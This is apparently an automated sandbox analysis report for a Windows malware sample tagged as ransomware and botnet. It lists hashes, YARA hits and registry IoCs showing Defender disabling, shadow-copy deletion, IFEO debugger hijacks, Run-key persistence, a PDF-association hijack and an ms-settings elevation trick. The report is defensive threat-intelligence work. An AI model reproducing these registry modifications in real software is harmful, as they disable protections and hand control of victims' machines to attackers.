Analysis
- max time kernel
150s - max time network
144s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
11/05/2026, 14:14
Static task
static1
4 signatures
Behavioral task
behavioral1
Sample
2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win10v2004-20260130-en
windows10-2004-x64
46 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win11-20260130-en
windows11-21h2-x64
45 signatures
150 seconds
General
- Target 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe
- Size 49KB
- Sample260511-rkc8csfv7j
- SHA256 854ee069e296d095c52ac8898d8d295ff6bd69342f9dca834f1f26ac97baaf47
- MD5 2b3cdfa41ee78b5f76385fabf20ae83b
- SHA1 c46a80fe39bee95429f4563d533a2474fcfd20ba
- SHA512 03bea79e3dc148d4747e8b8f026e27f8790d27264b55d9f333cfb91cf2579d163319c7239d57f9b8ed950bfd48adb164b7e6a88a7810c2c31ddf1ab84e1c9c27
- SSDEEP 768:WhvLn9Xe2+aAkxXAX4v//o4TC1XXGblfA07KFcG:Wvc2zVvI4TEXGblf97ucG
- TLSH T1CA33F60437F98111F1BF8BBA4DB196119B31B8979C32D78E1AD5058E1AB3B40CDA8F67
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/4392-0-0x0000000000440000-0x0000000000452000-memory.dmp disable_win_def behavioral1/files/0x00070000000249a1-2307.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Detects command variations typically used by ransomware 2 IoCs
resource yara_rule behavioral1/memory/4392-0-0x0000000000440000-0x0000000000452000-memory.dmp INDICATOR_SUSPICIOUS_GENRansomware behavioral1/files/0x00070000000249a1-2307.dat INDICATOR_SUSPICIOUS_GENRansomware - Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
resource yara_rule behavioral1/memory/4392-0-0x0000000000440000-0x0000000000452000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender behavioral1/files/0x00070000000249a1-2307.dat INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3456 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 5380 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Control Panel\International\Geo\Nation 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Windows\system32\sysupdate.exe 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Windows\system32\sysupdate.exe 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 5796 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4608 sc.exe 3084 sc.exe 5388 sc.exe 540 sc.exe 5928 sc.exe 4708 sc.exe 2468 sc.exe 4584 sc.exe 2704 sc.exe 1656 sc.exe 1996 sc.exe 3784 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 5840 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 5588 ipconfig.exe 5516 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 280 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1808 vssadmin.exe 5416 vssadmin.exe 5724 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Control Panel\Desktop\WallpaperStyle = "2" 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134229824964044066" chrome.exe - Modifies registry class 17 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\ms-settings\shell\open\command\DelegateExecute 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\.pdf\ = "PDFBotnet" 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\ms-settings\shell\open\command 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe\" \"%1\"" 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\ms-settings\shell\open 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\ms-settings\shell 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\ms-settings\shell\open\command 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open 